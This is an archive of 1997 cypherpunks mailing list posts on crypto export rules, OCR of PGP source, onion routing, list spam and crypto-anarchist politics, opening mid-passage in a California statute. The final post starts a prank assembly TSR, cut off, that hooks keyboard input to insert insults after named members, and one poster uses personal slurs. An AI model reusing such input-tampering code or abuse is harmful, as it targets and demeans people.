on-screen notice, the vendor's return and refund policy, the legal
name under which the business is conducted and, except as provided in
paragraph (3), the complete street address from which the business
is actually conducted.
   (2) If the disclosure of the vendor's legal name and address
information required by this subdivision is made by on-screen notice,
all of the following shall apply:
   (A) The disclosure of the legal name and address information shall
appear on any of the following:  (i) the first screen displayed when
the vendor's electronic site is accessed, (ii) on the screen on
which goods or services are first offered, (iii) on the screen on
which a buyer may place the order for goods or services or (iv) on
the screen on which the buyer may enter payment information, such as
a credit card account number.  The communication of that disclosure
shall not be structured to be smaller or less legible than the text
of the offer of the goods or services.
   (B) The disclosure of the legal name and address information shall
be accompanied by an adjacent statement describing how the buyer may
receive the information at the buyer's E-mail address.  The vendor
shall provide the disclosure information to the buyer at the buyer's
E-mail address within five days of receiving the buyer's request.
   (C) Until the vendor complies with subdivision (a) in connection
with all buyers of the vendor's goods or services, the vendor shall
make available to a buyer and any person or entity who may enforce
this section pursuant to Section 17535 on-screen access to the
information required to be disclosed under this subdivision.
   (3) The complete street address need not be disclosed as required
by paragraph (1) if the vendor utilizes a private mailbox receiving
service and  all of the following conditions are met:  (A) the vendor
satisfies the conditions described in paragraph (2) of subdivision
(b) of Section 17538.5, (B) the vendor discloses the actual street
address of the private mailbox receiving service in the manner
prescribed by this subdivision for the disclosure of the vendor's
actual street address, and (C) the vendor and the private mailbox
receiving service comply with all of the requirements of subdivisions
(c) to (f), inclusive, of Section 17538.5.

 ---

Legislative history can be found at

<http://www.leginfo.ca.gov/cgi-bin/postquery?bill_number=ab_3320&sess=PREV&h
ouse=B>


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@cow.net>
Date: Thu, 2 Jan 1997 12:23:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New crypto regs outlaw financing non-US development
Message-ID: <9701022007.AA11140@cow.net>
MIME-Version: 1.0
Content-Type: text/plain


At 31 Dec 1996 22:32:38 -0500 (Lucky Green) <shamrock@netcom.com> wrote:
> At 01:05 PM 12/31/96 -0800, Ian Goldberg wrote:
> >
> >But it _specifically_ restricts virus-checkers (and, also, it would seem,
> >backup programs, but that could be stretching it):
> >
> >ECCN 5D002.c.3:
> ># ``Software'' designed or modified to protect against malicious
> ># computer damage, e.g., viruses
> 
> My mistake. I overlooked this paragraph. I thought it had not made it into
> the final version. Virus checkers, programs like Tripwire, and all firewall
> products are export controlled under the new regs. Regardless if the
> program uses crypto or not.
> 

How long before the United Police States of America bans the export
of medicines and medical technology because it can be a defense against
biological warfare?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cybersource@pwrnet.com
Date: Thu, 2 Jan 1997 15:03:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: it's back up again
Message-ID: <199701022302.SAA08734@mail.pwrnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi, I just wanted to take a moment and let some of
the folks with whom we've participated in online
discussion on the Usenet boards know that our
website if finally back up!  Please feel free to
visit us there. 

Have a great New Year!

The Downline Experience
http://lifequest.net/tronix/
1-800-678-5522 ext 8056

"Timing is everything... but positioning is critical!"
(Larry Thompson -- Mentor to the Millionaires 1996)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 2 Jan 1997 18:47:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <v03007801aeef0dff9afe@[207.167.93.63]>
Message-ID: <32CC72FD.7F5B@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> I'll continue to be radical in my views. Nothing wrong with extremism
> in the defense of liberty, as some wise men said.

Barry Goldwater describes the person who said that as a stupid, selfish 
kid. I believe those are his exact words; he did lunch at my dorm in 
Spring 1991. He had a book out at the time.

Some people mellow with age. Others go the other way.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <rcgraves@disposable.com>
Date: Thu, 2 Jan 1997 19:14:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <9612302254.AA00731@cow.net>
Message-ID: <32CC7934.279B@disposable.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz wrote:
> 
> At 10:54 AM -0800 12/31/96, Timothy C. May wrote:
> >Our focus is more radical. We are effectively a cyber-militia,
> >fulfilling Jefferson's recommendation that a revolution happen
> >every 20 years.
> >
> >(Funny, there hasn't been one in more than 200 years. ...
> 
> I would say that the street action which effectively eliminated
> legally mandated racial segregation about 25 years ago qualifies as
> a revolution. People certainly put their bodies, and occasionally
> their lives, on the line for it.  It didn't happen because the
> political powers that be decided to do it.  It happened because
> people mobbed in the streets and made it happen.

Cryptoanarchy, as envisioned here, is not about people mobbing in the 
streets. It's fundamentally about insulating oneself from the mobs in 
the streets. When Tim says he's an elitist, he means it, though of 
course we may disagree on who is allowed to be part of our "elite." I 
wouldn't exclude people who find the most extreme "satire" in the 
"ebonics" threads, for example.

However, revolutions tend to have unintended consequences. The noblemen 
who drafted the Magna Carta never thought it would become a broad 
statement of rights. The slaveholders who signed the Declaration of 
Independence never thought it would be used against them.

If crypto becomes ubiquitous worldwide, I doubt Tim May's ilk will enjoy 
the result. In the short term, it's a defense that preserves the 
distribution of wealth and privilege, but in the long run, we'll see 
that eroded. There is something to Vulis's latest rants -- his "facts" 
are all lies, of course, but there's something there.

Lies, evasions, and deception give temporary advantage, but eventually 
they come back home to roost. Sometimes it takes generations.

The things that last are the ideas that make people mob in the streets, 
not the things that enable them to hide at home.

-rich




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 2 Jan 1997 20:14:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Internal Passports
In-Reply-To: <v03007802aeef121590c5@[207.167.93.63]>
Message-ID: <v03007800aef22de44b85@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:35 PM -0800 12/31/96, Bill Frantz wrote:
>At 11:02 AM -0800 12/31/96, Timothy C. May wrote:
>>There have been several reports cited here recently about changes in the SS
>>laws to make the SS number more of an ID number. ...
>>
>>And concerns about "identity theft" when such a simple thing as an SS
>>number is the key to so many records, rights, etc.
>
>I don't see how you can have the SS number be both a public ID number and a
>secret password.  Perhaps you could have it be one, but not both.  It seems
>to me that parts of our society are trying have it be a password and parts
>a public ID number.  (Perhaps the same parts?)  Doing both just won't work.
>
>(Using SS as a password is subject to all the stealing and replay attacks
>that make passwords a really bad idea for secure identification.)

????

I never made such a claim, that SS numbers are any kind of secret key or
password.

The phrase "identity theft," not coined by me, is a recent term of art
involving the ease with which those with access to a person's SS number can
then acquire credit cards, etc.

--Tim May


Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 2 Jan 1997 20:06:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: OCR and Machine Readable Text
Message-ID: <1.5.4.32.19970103040624.005b2228@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


It's really embarassing to have to pay salaries of "public employees"
who can't come up with better arguments than the paper/magnetic/OCR nonsense
but don't have the guts to stop trying and admit they've wrong.
Does the President still make $200K/year salary?  You'd think he'd either
read what he signs or tell his employees to only ask him to sign
at least half-way credible stuff.  The old regulations used to pretend that
foreigners were too dumb to implement computer programs from algorithms;
now they're pretending that foreigners are too dumb to type.*
People used to say we have the best politicians money can buy, 
but you ought to be able to buy better politicians than that.

At 10:31 AM 12/30/96 -0800, Tim May wrote:
>And not only is OCR able these days to handle general fonts easily enough,
>but almost all printed code is in fixed-width fonts, i.e., non-proportional
>fonts. This makes OCR easy. 

The basic difference between "easily OCRed source code" and "not easily
OCRed source code" is pretty much limited to two things
1) Half-decent print quality (black on white in Courier at 300dpi should do....)
        As Tim says, this stuff is child's play.  Back when OCRs were
        $10,000 machines with cutting-edge 68010 processors,
        reading Courier was pretty easy but it helped to put in checksums;
        these days you don't really need that.  (It also didn't like
        wet-process 240-dpi laser printing or faxes, but modern OCR software
        can generally deal with good-quality faxes and 
2) Bound pages vs. loose pages (printing with perforated pages
        or selling the source code in loose-leaf might count as an
        "attractive nuisance" :-), but a band-saw can solve that problem
        for the OCR user unless it's printed on Tyvek or something silly :-)

In the Karn case, the Feds made the silly argument that the
floppy disk version had the files neatly separated, while the
paper version split files between pages and had page numbers at the
bottoms of the pages that weren't part of the source code.
Even the $10K 68010 wonderbox could handle page headers/footers and margins, 
and modern software can do decent translations into different
word processor formats.

>For just the amount of money we've spent (in our consulting fees) on
>discussing just this issue of OCRing, the entire content of the MIT PGP
>source code book AND Schneier's AC could have been manually inputted by
>Barbadans or Botswanas, or probably even by Europeans.

There's one German university that OCRed the MIT PGP source code book.
The PGP folks passed out copies of their new 3.0 Pre-Alpha and an update
at a recent Cypherpunks meeting.  See
http://www.pgp.com/newsroom/sourcebook.cgi 
for ordering informaiton.  It's been donated to some local libraries, 
such as San Jose CA, and I hope they'll send it to the Library of Congress
and various non-US university and other public libraries - the recent
rules change clarifying that it's ok to export source code should make
this much easier.   

[* OK, it's not really possible to type or proofread perl code accurately :-)
More to the point, OCRs aren't always real good about `backquotes' and other
little blotchy marks that some languages use, and even humans don't always
get them right.]

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 2 Jan 1997 20:08:32 -0800 (PST)
To: cryptography@c2.net
Subject: "Onion Routing" Pipenet-like project at NRL
Message-ID: <1.5.4.32.19970103040628.005e622c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

Michael G. Reed, Paul F. Syverson, and David M. Goldschlag have a bunch
of papers on the Naval Research Laboratory Information Technology Division
web site about Onion Routing, a pipenet-like anonymous communication system
that sets up chains of encrypted IP tunnels between servers.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Jan 1997 18:40:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: benefits of EAR (not)?
In-Reply-To: <Pine.SUN.3.95.970102130849.10477A-100000@voyager.cris.com>
Message-ID: <eJoXZD10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Clinton Weiss <Chipper@cris.com> writes:

> get me the hell off this damn list

You have to send "unsubscrive" a few hundred times to gnu@toad.com.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "will" <will@bbsi.net>
Date: Mon, 6 Jan 1997 18:35:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: PWL's how ?
Message-ID: <3.0.32.19970102213451.00691d6c@pophost.bbsi.net>
MIME-Version: 1.0
Content-Type: text/enriched

How has the Windows PWL's been de-crytped ?  

Also I don't like to seem too much like a rookie, but was is  a polymorphic
virus ?
.           Marc Theriault     *       .   *          +
*      .    *             Email: WILL@BBSI.NET        *    .   * .
.+                ___            .
.    *   +             ___....-----'---'-----....___        .    .
=========================================       +  *
*           .         ___'---..._______...---'___        * .    .    


From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kimkl@calweb.com (Kimberly Leahy)
Date: Thu, 2 Jan 1997 22:01:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: cookies
Message-ID: <199701030600.WAA07366@mail.calweb.com>
MIME-Version: 1.0
Content-Type: text/plain


>Return-Path: <rwright@adnetsol.com>
>Comments: Authenticated sender is <rwright@adnetsol.com>
>From: "Ross Wright" <rwright@adnetsol.com>
>Organization: King Media and RW Marketing
>To: kimkl@calweb.com (Kimberly Leahy)
>Date: Wed, 1 Jan 1997 23:01:11 -0800
>Subject: Re: cookies
>Priority: normal
>X-UIDL: f3b0b16d616765cf37b9c5fa5150407f
>
>Send an inquiry to    cypherpunks@toad.com    You will get many 
>informative answers!
>I be looking for your inquiry, I read that list also!
>
>On or About  1 Jan 97 at 21:55, Kimberly Leahy wrote:
>
>> Rossta,
>> please enlighten on cookies that invade a browser's
>> computer.  where can i get more info?  i was told that
>> a utility is available to track and/or crush cookies.
>> can you tell me where to get it or get info on such a
>> thing?
>>                         hopefully,
>>                         kimmer
>> 
>> 
>
>=-=-=-=-=-=-
>Ross Wright
>King Media: Bulk Sales of Software Media and Duplication Services
>http://www.slip.net/~cdr/kingmedia
>Voice: 415-206-9906
>
Cypherpunks,  would you please send me infor or direct to a location where I
may acquire information of these "cookies"?
                        Thank You Ever So Much.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Jan 1997 20:11:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199701021834.KAA07300@crypt.hfinney.com>
Message-ID: <9wqXZD12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney <hal@rain.org> writes:
> This requires Bob to trust the server to keep his identity secret.
> Although you _say_ that majordomo didn't associate the token with
> the userid, how does Bob know that?  Certainly majordomo did, when
> Bob subscribed, see the association between the userid and the token.
> Now he has to trust that it has been forgotten.  Even if it has, what
> about eavesdroppers on the list channel?  What about the operator on the
> machine, who is peeking at what majordomo is doing?  This mechanism will
> not provide enough anonymity for most posters.

If the majordomo operator is the lying cocksucker John Gilmore,
then he definitely should not be trusted.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Jan 1997 20:12:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: New crypto regs outlaw financing non-US development
In-Reply-To: <9701022007.AA11140@cow.net>
Message-ID: <g1qXZD13w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Bovine Remailer <haystack@cow.net> writes:

> At 31 Dec 1996 22:32:38 -0500 (Lucky Green) <shamrock@netcom.com> wrote:
> > At 01:05 PM 12/31/96 -0800, Ian Goldberg wrote:
> > >
> > >But it _specifically_ restricts virus-checkers (and, also, it would seem,
> > >backup programs, but that could be stretching it):
> > >
> > >ECCN 5D002.c.3:
> > ># ``Software'' designed or modified to protect against malicious
> > ># computer damage, e.g., viruses
> >
> > My mistake. I overlooked this paragraph. I thought it had not made it into
> > the final version. Virus checkers, programs like Tripwire, and all firewall
> > products are export controlled under the new regs. Regardless if the
> > program uses crypto or not.
> >
>
> How long before the United Police States of America bans the export
> of medicines and medical technology because it can be a defense against
> biological warfare?

What makes you think you're allowed to export medicines now?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 2 Jan 1997 22:24:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Cypherpunk Elitism and Spam Filters
Message-ID: <3.0.1.32.19970102222216.0068b54c@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


I have been watching the debate on Cypherpunk Extremism, filtering spam,
and the like and have a few comments.

When Tim May claims that Cypherpunk solutions lead to elitism, he is more
correct than Vullis or any of his ilk are willing to realize.  The reasons
for this are out of implementation, not out of any ill-will or evil intent.
 It is because it requires special knowledge and/or software to be able to
implement the "solution(s)".  (Note that I am only aware of his comments
through quotes of his material.  I have blocked him at the procmail level,
so I cannot go back through trash and read the originals.  Probably a good
thing, as it keeps me from sinking to the level of flames and personal
attacks.  Attention Vullis revels in...)

I have watched the conversations on filtering and have seen few, if any,
methods that would be usable by a poster of average experience without alot
of extra frustration and/or time involved.  For a filtering or posting
method to be useful (or used), it has to be uncumbersome to use, no matter
the platform.

Charging for posting is not (in my opinion) a good method because
conversions from real cash to e-cash are not very easy and/or available at
this time.  It would leave the posting to the "elite" who have connections
to e-cash acceptable to the list management.

Tokens are nice, but most plans for them make it a pain to post with any
sort of e-mail software.  (Cut and pasting a token will work for one or two
sites, but if a user posts to many lists, keeping track of all those tokens
could become quite a pain.  There is also the risk of people posting their
tokens for general use or the token being used to track anonymous posters.

PGP signatures are a solution, but not a very adequate one at this point.
Most  autosign software has one or two minor problems.  The first is that
they do not line wrap before signing the text.  This causes the sig to
break.  The second thing that people get bitten by is that some signing
software only takes the "default" key.  This means that, without special
effort, they are stuck with one key to use for signing.  (Which makes anon
postings a bit of a pain.)

The reason anon.penet.fi became as popular as it did is because it was
easier to use than the alternatives.

A solution that is difficult to use will be left to an "elite" to use.  (If
used at all.)

A good example of this is the PGP aware version of Majordomo.  The traffic
on one list using that software is little to none.  I believe that this is
because the "ante" to post is too high.  (It also has strange desires for
specific linefeed formats, as well as other things that make posting a chore.)

The "solution" to this is to design tools that make use of these things
usable, not only for the "elite", but for the rest of the user community.
(Or at least the upper 70-90%.  There has to be some level of knowledge for
entry into the game.  The difficulty is knowing where to set that "bar".)

Netscape is a good example of "transparent" crypto.  It has problems
though.  How many sites do you connect to that use SSL?  Damn few I will
bet.  How many encrypt everything, not just the "important stuff".  Next to
none.  Why?  Getting a secure server costs a fair chunk of change.  It is
possible to get one for "non-commercial use", but it is still going to cost
you a bit for the certificate needed to run the server. ($295 bucks and the
list of hoop to jump through.  Verisign usually wants you to be a corporate
entity.)  Any chance of a CPunk CA coming into existence any time soon?

A better chance for "transparent" security is with the IPSec FreeSwan
project.  How many of you out there are willing to put in the effort to get
it to work though?  It does have a pretty high cost in knowledge and
effort.  (It also seems to have some places that need work. Non-Unix
clients and sites feeding off of dynamic IPs are going to be a future
hurdle.)  It does have probability of making things a whole lot more
difficult for the busybodies at the various TLAs.  (The NSA krill nets will
no longer be as effective.)  Until the bugs are worked out, it will be an
"elitist" solution.  There is no escaping that.  (And since there are
people who would rather concentrate on personal feuds instead of technical
hurdles, it will probably remain one for alot longer.)

I would like to see alot less of the "elitist" solutions.  My reasons are
very plain.  Elitist solutions take far too much of my time to use.  They
do not have to be that way.

There are Cypherpunks doing work to make these tools more usable.  Most of
them are doing it in the background and not looking for the "glory".
Because of the self-centered ranting of a few, most of those who were the
strongest supporters of "Cypherpunk goals" no longer associate with the
list.  The ones who have my highest respect are those that have actually
done something to accomplish those goals, instead of writing
(semi-)anonymous flames and personal attacks against Tim May and/or John
Gilmore.  (I sometime what Vullis has done to promote privacy and security
for individuals.  His pissing in the list pool certainly has done nothing
positive that I have seen.)

[Note that I do not always agree with Tim May.  There have been many time I
have read his posts and wondered if he was indulging in chemical
recreation.  (And he has probably wondered the same about some of my posts.
 probably about this one...) Sometimes he is dead on and well worth
reading.  But his posts are at least thought out and lack the most of the
vitriol that some others on this list have been spitting.  Part of the
problem with reputation schemes is that humans are not always consistent.
Sometimes they do not fit into the "yes" or "no" boxes we try and stuff
them into.]

Those who are working towards "elitist" solutions are at least working
towards solutions.  I think people need to ask themselves what goals they
desire for themselves and what it will take to get there.  You don't need
to write code necessarily, but you do need to do something other than just
bitch and moan.

What have you done to support privacy today?

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 2 Jan 1997 22:43:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Extremism in the defense of liberty is no vice
In-Reply-To: <9612302254.AA00731@cow.net>
Message-ID: <32CCAA29.676F@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Rich Graves wrote:
> Bill Frantz wrote:
> > At 10:54 AM -0800 12/31/96, Timothy C. May wrote:
> > >Our focus is more radical. We are effectively a cyber-militia,
> > >fulfilling Jefferson's recommendation that a revolution happen
> > >every 20 years. (Funny, there hasn't been one in more than 200 years.[snip]
> >I would say that the street action which effectively eliminated legally
> >mandated racial segregation about 25 years ago qualifies as a revolution.[snip]
> Cryptoanarchy, as envisioned here, is not about people mobbing in the
> streets. It's fundamentally about insulating oneself from the mobs in
> the streets. However, revolutions tend to have unintended consequences.[snip]
             
Looks like we're coming to the old "irresistable force meets immovable
object" consensus, yes?

The sheeple are going to plod along slowly and resistantly towards
personal, "secure" encryption,
while the rulers would rather eat their children than give up money.

My guess is that the public (see: sheeple) is *never* going to become
technically oriented, no matter how many gizmos or crypto programs they
have and can use. Therefore, the rulers, possessing ever greater numbers
and quality of intrusive devices, will inch forward toward total control,
despite temporary advances by the sheeple.

The (perfect) example of the 1960's revolution was vastly outweighed by:

1. Decapitation of any independent leadership, i.e., assassinations.
2. Co-opting of schools, businesses, media, welfare programs et al.
3. Tremendous advances in disinformation and propaganda technology
   which has no analogy amongst the general public.

Some people think the Internet will help the average guy win back some
freedom, but the reality is that capital is still being shifted away
from the common folk to the wealthier folk, even as the Internet expands.

The sheeple have had one (unintended) weapon on their side:  The fact
that the scumbag fed agencies and their beneficiaries have been fighting
amongst themselves a lot (see: assassinations). This will instantly stop
if the sheeple become a real threat.  You won't believe how fast.

It's the dream of every elitist that they will someday be able to enjoy
a really comfortable and yet productive existence, where the non-elite
are satisfied and happy with their jobs (or are somehow being supported
without unduly burdening the elitists), and most important, are just
comfortable enough that they won't riot (or at least won't riot in the
elitist neighborhoods).  Most likely the electronic implants and drugs
(Soma, HDTV/3DTV) will alleviate most of the sheeple's unhappiness, so
as to reduce the requirement for the elitists to give any more attention
to these problems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 2 Jan 1997 23:00:31 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: OCR and Machine Readable Text
Message-ID: <3.0.1.32.19970102225436.01072284@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:06 PM 1/2/97 -0800, Bill Stewart wrote:
>It's really embarassing to have to pay salaries of "public employees"
>who can't come up with better arguments than the paper/magnetic/OCR nonsense
>but don't have the guts to stop trying and admit they've wrong.
>Does the President still make $200K/year salary?  You'd think he'd either
>read what he signs or tell his employees to only ask him to sign
>at least half-way credible stuff.  The old regulations used to pretend that
>foreigners were too dumb to implement computer programs from algorithms;
>now they're pretending that foreigners are too dumb to type.*
>People used to say we have the best politicians money can buy, 
>but you ought to be able to buy better politicians than that.

Or beter excuses.


>At 10:31 AM 12/30/96 -0800, Tim May wrote:
>>And not only is OCR able these days to handle general fonts easily enough,
>>but almost all printed code is in fixed-width fonts, i.e., non-proportional
>>fonts. This makes OCR easy. 
>
>The basic difference between "easily OCRed source code" and "not easily
>OCRed source code" is pretty much limited to two things
>1) Half-decent print quality (black on white in Courier at 300dpi should
do....)
>        As Tim says, this stuff is child's play.  Back when OCRs were
>        $10,000 machines with cutting-edge 68010 processors,
>        reading Courier was pretty easy but it helped to put in checksums;
>        these days you don't really need that.  (It also didn't like
>        wet-process 240-dpi laser printing or faxes, but modern OCR software
>        can generally deal with good-quality faxes and 
>2) Bound pages vs. loose pages (printing with perforated pages
>        or selling the source code in loose-leaf might count as an
>        "attractive nuisance" :-), but a band-saw can solve that problem
>        for the OCR user unless it's printed on Tyvek or something silly :-)

Even an exacto-knife would work.  For proportional fonts it depends on how
nasty the kerning gets and the shape of the characters.  (And a san serif
font without too many kerning pairs should go though fine.)  The technology
for this has progressed quite a bit in the last few years.  

Next thing you know, OCR software will be export controlled as well.  (Or
they will require something silly, like having all code samples in
caligraphy fonts.)

>In the Karn case, the Feds made the silly argument that the
>floppy disk version had the files neatly separated, while the
>paper version split files between pages and had page numbers at the
>bottoms of the pages that weren't part of the source code.
>Even the $10K 68010 wonderbox could handle page headers/footers and margins, 
>and modern software can do decent translations into different
>word processor formats.

And even if it didn't, just selecting and deleting the margin areas would
not be all that difficult.  (Ooohhh...  A couple of extra hours is really
going to slow someone down.)

>>For just the amount of money we've spent (in our consulting fees) on
>>discussing just this issue of OCRing, the entire content of the MIT PGP
>>source code book AND Schneier's AC could have been manually inputted by
>>Barbadans or Botswanas, or probably even by Europeans.

I used to work for a company that would transfer entire archives of medical
journals.  Much of it we would just OCR.  Some of it we would send off
shore.  The OCR software was about 95% reliable and this was over 5 years
ago.  (And we were using 286 boxes for much of the OCR work.  Not a heavy
technoligical investment.)  I am sure that things have improved a great
deal since then.  (My new scanner included OCR software.  I will have to
run a test and report the findings.

>There's one German university that OCRed the MIT PGP source code book.
>The PGP folks passed out copies of their new 3.0 Pre-Alpha and an update
>at a recent Cypherpunks meeting.  See
>http://www.pgp.com/newsroom/sourcebook.cgi 
>for ordering informaiton.  It's been donated to some local libraries, 
>such as San Jose CA, and I hope they'll send it to the Library of Congress
>and various non-US university and other public libraries - the recent
>rules change clarifying that it's ok to export source code should make
>this much easier.   

The page listed does not contain order information.  Do you know costs
and/or order info?

>[* OK, it's not really possible to type or proofread perl code accurately :-)

Yeah, just look at what happened with John Orwant's _Perl 5 interactive
Course_.  The book is being recalled due to all the typographical errors
from the pubisher.  Reading some Perl code is also quite impossible.  (For
the reasons behind this, i recommend Charlie Stross's article on the tpoic
on page 36 of _The Perl Journal_ #4.)

>More to the point, OCRs aren't always real good about `backquotes' and other
>little blotchy marks that some languages use, and even humans don't always
>get them right.]

Many character sets are not very good at displaying "little used"
characters clearly.  (Some of the cheaper fonts do not even include them.)
Backticks are a special problem.  The latest Camel book has all sorts of
problems with hard to recognise backticks.

BTW, there is an article on Perl and randomness in The Perl Journal #4 by
John Orwant. Pretty basic for most Cypherpunks, but good reading none the
less...

---
|   If you're not part of the solution, You're part of the precipitate.  |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 2 Jan 1997 21:16:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <199701021534.JAA20818@manifold.algebra.com>
Message-ID: <XmuXZD19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> >
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> >
> > > Dr.Dimitri Vulis KOTM wrote:
> > > >
> > > > Here's a neat trick: if you want to list a file with line numbers, try:
> > > >
> > > > grep -n "^" file
> > >
> > > cat -n works faster.
> >
> > Did you time it?
> >
>
> Yes, I wrote a prog that quickly prints a specified number of lines
> (see below). Then I piped the output of that program to cat -n and
> grep, respectively, and here's what I got:
>
> manifold::~/tmp==>./a.out 1000000 | /usr/bin/time cat -n > /dev/null
> 1.32user 0.05system 0:01.62elapsed 84%CPU (0avgtext+0avgdata 0maxresident)k
> 0inputs+0outputs (46major+17minor)pagefaults 0swaps
>
> manifold::~/tmp==>./a.out 1000000 | /usr/bin/time grep -n '^' > /dev/null
> 19.75user 0.04system 0:20.71elapsed 95%CPU (0avgtext+0avgdata 0maxresident)k
> 0inputs+0outputs (88major+26minor)pagefaults 0swaps
>
>
> The difference is about fifteen times.
>
> 	- Igor.
>
>
> #include <stdio.h>
>
> main( int argc, char *argv[] )
> {
>
>   int n = atoi( argv[1] );
>
>   for( ; n; n-- )
>     putchar( '\n' );
> }

Have you got nothing better to do?  I take this as a hint that we should get
back to the MJ project. Meanwhile, here's an equally useful program - run
it at MS DOS prompt to leave it resident, then type the names of my least
favorite "cypher punks" to any program that uses INT 16 to read from kbd.

;;; cpunx.asm
cseg       segment
           assume      cs:cseg,ds:cseg
           org         100h
entry:     call        start
           org         100h
state      db          1 dup(?) ;3 bytes
sdi        dw          1 dup(?)

str1       label       byte
           db          'Gilmore',0
           db          'Arachelian',0
str2mask equ           003h ; 0..3
str2       label       byte
           db          ' (fart)',0
           db          ' (spit)',0
